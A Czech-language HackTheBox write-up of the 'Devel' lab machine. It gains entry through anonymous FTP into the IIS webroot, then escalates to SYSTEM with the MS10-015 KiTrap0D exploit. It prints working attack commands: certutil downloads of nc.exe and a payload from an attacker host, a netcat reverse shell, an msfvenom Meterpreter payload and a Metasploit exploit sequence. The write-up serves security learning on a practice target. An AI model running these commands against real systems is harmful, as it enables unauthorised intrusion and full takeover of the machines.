tom@home.htb:~$

Blog o HTB

21 November 2020

Devel

Úvod a kontext

Devel je starší, ale pořád výukově cenný stroj, protože ukazuje úplně základní a přitom častý řetězec: anonymní FTP zapisující přímo do webrootu IIS a následně lokální privilege escalation na neaktualizovaném Windows hostu.

V první polovině není potřeba žádná složitá kreativita. Jakmile anonymous FTP umožní nahrát ASPX webshell, jde z webu spustit vlastní binárku a získat stabilní shell. Druhá půlka pak ukazuje, že i z obyčejného webového kontextu může starý kernel bug typu KiTrap0D rychle udělat SYSTEM.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

IP=10.10.10.5;ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Analýza zjištění

Anonymous FTP jako webroot

Rozhodující detail je, že anonymous FTP neobsahuje jen download, ale evidentně i obsah servírovaný přes IIS. Jakmile se v FTP listing objeví iisstart.htm, je velmi pravděpodobné, že uploadnutý ASPX soubor půjde z webu rovnou vykonat.

ftp-anon: Anonymous FTP login allowed
iisstart.htm

Získání přístupu

Upload ASPX webshellu a první shell

Anonymous FTP stačí k nahrání jednoduchého ASPX webshellu. Přes něj už lze stáhnout nc.exe a otevřít si obyčejný command shell. Tím končí webová část a začíná lokální práce na hostu.

certutil.exe -urlcache -split -f http://10.10.14.5:8000/exe/nc.exe c:\programdata\nc.exe
c:\programdata\nc.exe -e cmd 10.10.14.5 4000

Získání user flagu

user.txt.txt je tady hlavně potvrzení, že upload přes FTP skutečně vedl až k interaktivnímu shellu na hostu a ne jen k jednorázovému vykonání příkazu přes web.

type user.txt.txt
__CENSORED__

Eskalace oprávnění

Sherlock a potvrzení KiTrap0D

Další směr je u starého Windows hostu přímočarý: zjistit, zda není zranitelný vůči známým lokálním eskalacím. Sherlock.ps1 potvrdí MS10-015 / KiTrap0D, takže dává smysl připravit si Meterpreter session a exploit spustit lokálně.

certutil.exe -urlcache -split -f http://10.10.14.5:8000/ps1/Sherlock.ps1 c:\programdata\Sherlock.ps1
powershell IEX(Get-Content .\Sherlock.ps1);Find-AllVulns
Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
VulnStatus : Appears Vulnerable

Meterpreter a MS10-015

Protože ms10_015_kitrap0d očekává Meterpreter session, je potřeba nejdřív dodat vlastní payload, spustit handler a teprve potom exploit navázat na získanou session. Na starém systému jde o přímočarou cestu k SYSTEM.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o test.exe
certutil.exe -urlcache -split -f http://10.10.14.5:8000/exe/test.exe c:\programdata\test.exe
msfconsole
use exploit/multi/handler
set exitonsession false
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.14.5
run -j

c:\programdata\test.exe

use exploit/windows/local/ms10_015_kitrap0d
set session 1
set lhost 10.10.14.5
set DisablePayloadHandler true
run -j
type root.txt.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - exploit - enumeration - privesc - hackthebox